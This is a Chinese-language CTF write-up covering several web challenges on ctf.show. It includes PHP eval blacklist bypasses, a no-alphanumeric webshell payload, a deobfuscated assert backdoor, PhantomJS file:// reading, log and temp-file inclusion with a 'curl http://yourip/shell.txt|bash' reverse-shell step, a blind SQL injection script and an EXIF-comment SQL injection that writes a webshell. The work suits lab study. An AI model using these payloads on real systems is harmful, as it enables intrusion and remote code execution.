好早的比赛了。

你取吧

打开靶机直接给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('nonono');
}
}
eval("echo($code);");
?>wu

$hint是hhh.php内容的base形式,可通过post或get方法传入code,$_是一个包含了所有小写字母和~,^的 数组并传递给了$blacklist,遍历$blacklist,如果匹配到了数组内的元素,输出nonono,执行传入的$code但有个echo挡了一下。

解1:数组下标取值

由于并未过滤$[],可以用数组的下标数字把数组内的值取出来组合,比如ls /就变成了$_[13]$_[18] /,那么
$__:$_[18].$_[24].$_[18].$_[19].$_[4].$_[11] => system
$___:$_[13].$_[18].' '.'/' => ls /
拼接一下即可

12)闭合前面echo((12闭合后面的)
不闭合也行,php中,反引号可以用来执行命令,比如echo

那么也不需要点号拼接值了,直接执行

构造相应的cat /flag即可

解2:位移运算符

Ascii表中,'@'|'(任何左侧符号)'=='(右侧小写字母)',比如'@'|'!'=='a','@'|'('=='h'

那么我们构造'@@@@'|'().4'就是hint,传入($_ = '@@@@'|'().4') == 1?1:$$_,如果'@@@@'|'().4'!=1,就会执行$$_,也就是echo出$hint

解码得<?php $a="/phpjiami.zip\n/hint.php"; ?>,phpjiami.zip下载下来是一个混淆的php源码

解码脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

function decrypt($data, $key)
{
$data_1 = '';
for ($i = 0; $i < strlen($data); $i++) {
$ch = ord($data[$i]);
if ($ch < 245) {
if ($ch > 136) {
$data_1 .= chr($ch / 2);
} else {
$data_1 .= $data[$i];
}
}
}
$data_1 = base64_decode($data_1);
$key = md5($key);
$j = $ctrmax = 32;
$data_2 = '';
for ($i = 0; $i < strlen($data_1); $i++) {
if ($j <= 0) {
$j = $ctrmax;
}
$j--;
$data_2 .= $data_1[$i] ^ $key[$j];
}
return $data_2;
}

function find_data($code)
{
$code_end = strrpos($code, '?>');
if (!$code_end) {
return "";
}
$data_start = $code_end + 2;
$data = substr($code, $data_start, -46);
return $data;
}

function find_key($code)
{
// $v1 = $v2('bWQ1');
// $key1 = $v1('??????');
$pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');");
$pos2 = strrpos(substr($code, 0, $pos1), '$');
$pos3 = strrpos(substr($code, 0, $pos2), '$');
$var_name = substr($code, $pos3, $pos2 - $pos3 - 1);
$pos4 = strpos($code, $var_name, $pos1);
$pos5 = strpos($code, "('", $pos4);
$pos6 = strpos($code, "')", $pos4);
$key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2);
return $key;
}

$input_file = $argv[1];
$output_file = $argv[1] . '.decrypted.php';

$code = file_get_contents($input_file);

$data = find_data($code);
if (!$code) {
echo '未找到加密数据', PHP_EOL;
exit;
}

$key = find_key($code);
if (!$key) {
echo '未找到秘钥', PHP_EOL;
exit;
}

$decrypted = decrypt($data, $key);
$uncompressed = gzuncompress($decrypted);
// 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩
if ($uncompressed) {
$decrypted = str_rot13($uncompressed);
} else {
$decrypted = str_rot13($decrypted);
}
file_put_contents($output_file, $decrypted);
echo '解密后文件已写入到 ', $output_file, PHP_EOL;

php 脚本.php 目标.php即可解码

解码有个一句话

1
2
3
4
5
6
?><?php @eval("//Encode by  phpjiami.com,Free user."); ?><?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4];
@$c($_POST[7-1]);
?>
<?php

访问hint.php,6=system(‘cat /flag’)即可

解3:无字母数字rce

p神文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

POST传入:

1
2
3
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

_=system('cat /flag');

同样用12)(12闭合echo,另外最好整个url编码一下,类型x-www-form-urlencoded

给你shell

打开靶机只有一句I prepared a webshell for you,源码处有隐藏跳转

访问得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}

function checkCookie($s) {
$arr = explode(':', $s);
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}

function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
$_h_p = strtoupper($_m_u);
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
$_i = ord($_i);
print_r($_i & 0xC0);
}
die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

checkcookie要求传入的cookie只能包含一对键值并且值只能是这个正则允许的字符
havefun把传入的值md5处理,字母转换为大写并按位&运算,如果是数字和0xC0&结果就是0,如果是字母则结果是64
通过checkCookie则把cookie保存在$obj
如果cookie中secret的值和$flag_md5相等,则给出shell_path,不等则调用havefun

解题

get传入give_me_shhell,给出了havafun处理后的结果

可以看到前三位都是0,那么前三位都是数字,从第四位开始有字母,由于!=是弱比较,因此只要数值和字符串的前三位相等,php就会返回true,那么爆破一下即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = "http://9a0e6a1b-5544-4e24-bcc8-3e31e1701c52.chall.ctf.show/?give_me_shell"
s = requests.session()
for i in range(10):
for j in range(10):
for k in range(10):
headers = {
'cookie':'secret={"secret": '+str(i)+str(j)+str(k)+'}'
}
res = s.get(url,headers = headers)
if "here is your" in res.text:
print(headers)
break

得到115,构造{"secret": 115}替换原来的cookie即可,刷新得到$shell_path

访问又得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
session_start();

//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";

if (!$_SESSION['login'])
die('<script>location.href=\'./index.php\'</script>');

if (!isset($_GET['code'])) {
show_source(__FILE__);
exit();
} else {
$code = $_GET['code'];
if (!preg_match($secret_waf, $code)) {
//清空session 从头再来
eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
} else die('hacker');
}

/*
* When you feel that you are lost, do not give up, fight and move on.
* Being a hacker is not easy, it requires effort and sacrifice.
* But remember … we are legion!
* ————Deep CTF 2020
*/

黑名单不可见需要自己测试,如果没有session会跳转,eval只能执行session

fuzz后过滤内容:

f、sys、include
括号、引号、分号
^ &等运算符
空格 / \ $ ` * #等符号

payload:]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>

]=1$_SESSION闭合,由于分号被过滤使用?><?来bypass,取反~%d0%99%93%9e%98%d1%8b%87%8b => /flag.txt,require函数可以不需要括号并且由于PHP黑魔法 require和取反运算符之间也不需要空格就能执行,最后?>闭合

同样方法构造即可,payload:]=1?><?=require~%d0%99%93%9e%98?>

RemoteImageDownloader

打开靶机一个提交框可以访问外网文件,考点是PhantomJS任意文件读取

y1ng师傅文章里找到参考文章

解题

在自己的服务器上创建个文件读本地flag,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///flag");
x.send();
</script>
</body>
</head>
</html>

访问该文件地址,得到图片flag

WEB_ALL_INFO_U_WANT

打开靶机可以玩魔方,源码处发现注释

扫描之后发现备份文件

下载后源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

visit all_info_u_want.php and you will get all information you want

= =Thinking that it may be difficult, i decided to show you the source code:

<?php
error_reporting(0);

//give you all information you want
if (isset($_GET['all_info_i_want'])) {
phpinfo();
}

if (isset($_GET['file'])) {
$file = "/var/www/html/" . $_GET['file'];
//really baby include
include($file);
}
?>

传入all_info_i_want显示phpinfo,包含传入的file。

解1:日志文件包含

nginx日志默认路径是/var/log/nginx/access.log

往User-Agent写入一句话

再用蚁剑连接即可,但这里文件不容易找,所以反弹shell到自己服务器
a=system('curl http://yourip/shell.txt|bash');

直接搜flag文件名找不到,学到了新的flag搜索方式,即搜索文件内容
find /etc -name "*" | xargs grep "flag{"

解2:临时文件包含

php会在脚本执行结束后删掉临时文件,通过自身包含自身使之进入死循环,打断死循环让php执行不结束,临时文件就保存下来了
构造上传表单

1
2
3
4
5
6
7
<html>
<form action="http://96013011-1e57-4c9c-b295-bba1c7e3c44d.chall.ctf.show/all_info_u_want.php?file=all_info_u_want.php&all_info_i_want" method="post" enctype="multipart/form-data">
<input type="file" name="filename">
<input type="submit" value="提交">
</form>
</body>
</html>

上传一句话文件

跳转之后手动停掉死循环

就可以看到临时文件路径了

包含它即可

WUSTCTF朴实无华_Revenge

wustctf朴实无华的改版

解题

level 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.]/', $num)) {
die("非洲欢迎你1");
} else {
if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
die("没有这样的数");
}
}
if ($num != $numPositve) {
die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
}

if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

满足$numPositve = intval($num);$numReverse = intval(strrev($num));的同时需满足

1
2
3
if ($num != $numPositve)  ==> 	传整数
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) ==> 不能int溢出
if( $numPositve === $numReverse && !isPalindrome($num) ) ==> 不能是回文又要有回文的特点对称

payload:?num=1000000000000000.00000000000000010

num是弱类型判断,且php存在浮点精度问题,所以php中1000000000000000.0000000000000001=1000000000000000是成立的

再加个0满足倒过来相等,且不是一个回文数

level2

1
2
3
4
5
6
7
8
9
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

满足if ($md5==md5(md5($md5))),由于是弱类型,所以构造一个以0e开头,经过两次md5之后依然还是以0e开头的纯数字串,这样利用科学计数法的特性在php中弱类型相等

这里直接用y1ng师傅的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib

for i in range(0,10**33):
i = str(i)
num = '0e' + i
md5 = hashlib.md5(num.encode()).hexdigest()
md5 = hashlib.md5(md5.encode()).hexdigest()
# print(md5)
if md5[0:2] == '0e' and md5[2:].isdigit():
print('success str:{} md5(str):{}'.format(num, md5))
break
else:
if int(i) % 1000000 == 0:
print(i)

得到0e1138100474

get flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
if (preg_match("/['\*\"[?]/", $get_flag)) {
die('非预期修复*2');
}
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

过滤了一些关键字,用一些字符阻断即可,比如ca\t<flag.p\hp

flag在源码里

WEB_Login_Only_For_36D

打开靶机一个登录框

源码直接给了sql语句

只要用户名含有admin,那么就不会die

sql语句可以用\来操作,本来的语句是

select * from 36d_user where username='admin' and password='sql';

我们把用户名设为admin\,这样,原来的'就被注明为一个文本符号,用户名就变成了admin' and password=

select * from 36d_user where username='admin\' and password='sql';

再加个#把后面注释,这样传入的$passwd就可以逃逸出来,执行sql语句了

解题

fuzz一下发现select,union,ascii,空格,分号等等很多东西都被过滤了,但是sleep,regexp,binary没被过滤,因此有可能是时间盲注。

substr,mid啥的都过滤了,后来想到可以用right,left一起用来代替substr

正好’^’也没过滤,可以尝试异或

当password是^if(ord(right(left(password,1),1))like(35),sleep(4),1)#

当password是^if(ord(right(left(password,1),1))like(73),sleep(4),1)#

直到四秒才返回,证明时间盲注可行

构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
url="http://109b8f92-8675-4edc-a4b7-c6005bf771f9.chall.ctf.show/"
k="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""
for i in range(20):
for j in k:
j = ord(j)
data={
'username':'admin\\',
'password':'^if(ord(right(left(password,{0}),1))like({1}),sleep(4),1)#'.format(i,j)
}
try:
r=requests.post(url,data=data,timeout=(2,2))
except:
flag+=chr(j)
print(flag)
break

跑一会儿

登录即得flag

你没见过的注入

打开靶机绝美前端

根据提示打开robots.txt,得到/pwdreset.php,可以重置密码,重置之后登录发现是个上传

测试一下发现会将上传文件存储为压缩包,并显示文件类型,

解题

试了把sql语句写入文件名等等,都不起效果,当时记得还是阿狸师傅提醒了一下

版权信息注入(真*活久见)

测试一下,找一张jpg,用exiftools把语句写进comment

上传,发现报错,把插入语句以及Sql报错信息显示了出来

那么可以注入了,构造"');select 0x3c3f70687020406576616c28245f504f53545b2761275d293b3f3e into outfile '/var/www/html/blacknight.php';--+把一句话写进

但写入的时候显示不全

所以换一个短的一句话:"');select 0x3c3f3d60245f504f53545b315d603b into outfile '/var/www/html/blacknight.php';--+

上传之后访问php,post一下即可